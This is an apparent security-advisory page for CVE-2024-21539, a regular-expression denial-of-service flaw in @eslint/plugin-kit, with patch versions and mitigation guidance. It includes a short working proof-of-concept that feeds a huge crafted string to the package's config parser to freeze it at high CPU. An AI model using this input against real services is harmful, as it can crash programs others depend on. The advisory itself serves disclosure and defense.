CVE-2024-21539 — @eslint/plugin-kit
Fix: eslint/rewrite@071be84CVE-2024-21539 is a CWE-1333 vulnerability in @eslint/plugin-kit. A fix is available for @eslint/plugin-kit — see the affected versions and patch details below.
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-21539.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@eslint/plugin-kitnpmDescription
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @eslint/plugin-kit | all versions | 0.2.3npm install @eslint/plugin-kit@0.2.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @eslint/plugin-kit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @eslint/plugin-kit to 0.2.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-21539 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
IMPORTANT impact: The ReDoS vulnerability in @eslint/plugin-kit can be exploited remotely without authentication or user interaction by supplying input that triggers excessive regular-expression processing, causing high CPU consumption and potentially crashing the affected program. Red Hat Ansible Services,…
Upgrade @eslint/plugin-kit to a vendor-fixed release. Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2024-21539 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2024-21539 in your dependencies?
Find it across npm, including transitive dependencies.